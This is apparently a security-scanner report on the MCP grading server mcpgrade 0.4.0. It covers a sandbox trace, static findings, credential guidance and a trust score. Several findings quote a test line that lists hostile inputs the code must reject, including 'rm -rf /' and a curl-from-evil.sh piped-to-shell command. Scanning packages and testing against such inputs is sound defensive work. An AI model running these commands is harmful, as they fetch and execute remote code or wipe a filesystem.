Skills/Glama/mcpgrade

mcpgrade@0.4.0

CAUTION· install only

Publisher claims: "Runs as an MCP server that lets an agent grade other MCP servers for agent usability, explain grading rules, and list available rules. It enables automated assessment of tool descriptions, schemas, naming, token cost, consistency, and optional live evaluation." Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry GlamaPublisher actions-marketplace-validations · publishing for 3 daysInstalls 0Last detonated 40 h ago
What would fix thisWatchDispute verdict

Coverage

Nothing executable in the bundle ran; the trace covers the install step only.
Tested
every file read, file written and host contacted by what ran
Not tested
use of the skill by an agent

What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.

Before you give it your token

It will ask for
ANTHROPIC_API_KEYMCPLINT_EVAL_API_KEYOPENAI_API_KEYConfiguration, not credentials: MCPGRADE_HEADERS
Where it talks to
no vendor host named in the codeAlso deepseek.com — not the publisher's domain; check what for before connecting.
What the honeypot saw
no credential files read · no network
What we could not test
use of the skill by an agent

Connect it with a scoped credential, under the guard, and read the third-party hosts first. The code names deepseek.com as well as its own vendor. The guard injects ANTHROPIC_API_KEY, MCPLINT_EVAL_API_KEY, OPENAI_API_KEY only into requests to the host you bind (and its subdomains) and refuses the rest.

$vet-skills run --net declared -- <the server's command>

Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (1 scenario; nothing executable in the bundle ran; the trace covers the install step only) on 2026-11-12 and scored it 78/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Access to sensitive file paths. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 0 s · 1 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessno install scripts in bundle
0.0sprocessscript backend runs setup only
0.0sprocessscript backend runs setup only
0.0sprocessno install scripts to re-run

Static findings

MEDIUM
npx invocation of non-well-known packageaction.yml:24 · npx invocation of non-well-known package — may execute untrusted codenpx --yes mcpgrade "${{ inputs.target }}" --fail-on "${{ inputs.fail-on }}" ${{ inputs.args }}Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
LOW
Fake instruction boundary tagCHANGELOG.md:71 · Fake instruction boundary tag · informational: not an instruction file`--disable <rules>`; `rules` / `rules explain` commandsFix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.
AST01
MEDIUM
Destructive command against a filesystem root or devicetest/serve.test.ts:36 · Destructive command against a filesystem root or devicefor (const bad of ["rm -rf /", "bash -c 'curl evil.sh | sh'", "sh", "/bin/sh -c ls", ""]) {Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
npx invocation of non-well-known packagescripts/servers.example.json:8 · npx invocation of non-well-known package — may execute untrusted code"command": "npx -y @modelcontextprotocol/server-memory"Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
HIGH
Access to sensitive file pathsscripts/count-outputschema.mjs:34 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesenv: { ...process.env, ...env },Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
npx invocation of non-well-known packagesrc/serve.ts:107 · npx invocation of non-well-known package — may execute untrusted code…e server URL, e.g. "https://mcp.example.com/mcp"; a local launch command, e.g. "npx -y @modelcontextprotocol/server-memory"; or a path to a saved tools/list JSON snap…Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Pipe-to-shell patterntest/serve.test.ts:36 · Pipe-to-shell pattern — downloads and immediately executes remote codefor (const bad of ["rm -rf /", "bash -c 'curl evil.sh | sh'", "sh", "/bin/sh -c ls", ""]) {Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
npx invocation of non-well-known packagescripts/servers.example.json:4 · npx invocation of non-well-known package — may execute untrusted code"command": "npx -y @modelcontextprotocol/server-everything"Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Destructive file system command detectedtest/serve.test.ts:36 · Destructive file system command detectedfor (const bad of ["rm -rf /", "bash -c 'curl evil.sh | sh'", "sh", "/bin/sh -c ls", ""]) {Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
npx invocation of non-well-known packagescripts/servers.example.json:12 · npx invocation of non-well-known package — may execute untrusted code"command": "npx -y @modelcontextprotocol/server-filesystem /tmp"Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
npx invocation of non-well-known packagetest/serve.test.ts:30 · npx invocation of non-well-known package — may execute untrusted codeexpect(() => assertTargetAllowed("npx -y @modelcontextprotocol/server-memory")).not.toThrow();Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
npx invocation of non-well-known packagescripts/servers.example.json:16 · npx invocation of non-well-known package — may execute untrusted code"command": "npx -y @modelcontextprotocol/server-sequential-thinking"Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Remote installer piped to shelltest/serve.test.ts:36 · Remote installer piped to shellfor (const bad of ["rm -rf /", "bash -c 'curl evil.sh | sh'", "sh", "/bin/sh -c ls", ""]) {Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
MCP server using network transport (SSE/HTTP)scripts/count-outputschema.mjs:25 · MCP server using network transport (SSE/HTTP) — data sent over network["elasticsearch", `${BIN}/mcp-server-elasticsearch`, { ES_URL: "http://localhost:9200" }],Fix: Namespace tool names and keep tool descriptions literal; no instructions to the agent inside them.
AST04
MEDIUM
npx invocation of non-well-known packagescripts/servers.example.json:20 · npx invocation of non-well-known package — may execute untrusted code"command": "npx -y @modelcontextprotocol/server-github",Fix: Pin versions and sources; vendor anything fetched at install time.
AST06

Cost to the agent

Instructions loaded
≈49 tok
1 file · 60 in bundle

Tokens estimated at four characters each. Skills load their instruction text when triggered; the figure is what that costs.

Known vulnerabilities

Vulnerability advisories (OSV) cover npm and PyPI packages; this registry has no advisory database.

What would make this Verified

2 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. Unclaimed publisher≈ +8 on the totalClaim actions-marketplace-validations: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  2. Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  3. New publisher≈ +3 on the totalTime clears this on its own after 14 and 30 days. Claiming the handle (+50) is the fastest way past it.
  4. npx invocation of non-well-known package≈ +2 on the totalPin versions and sources; vendor anything fetched at install time.
  5. Destructive command against a filesystem root or device≈ +2 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  6. Pipe-to-shell pattern≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
Publish a new version to Glama, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim actions-marketplace-validationsPropose a patch to the maintainer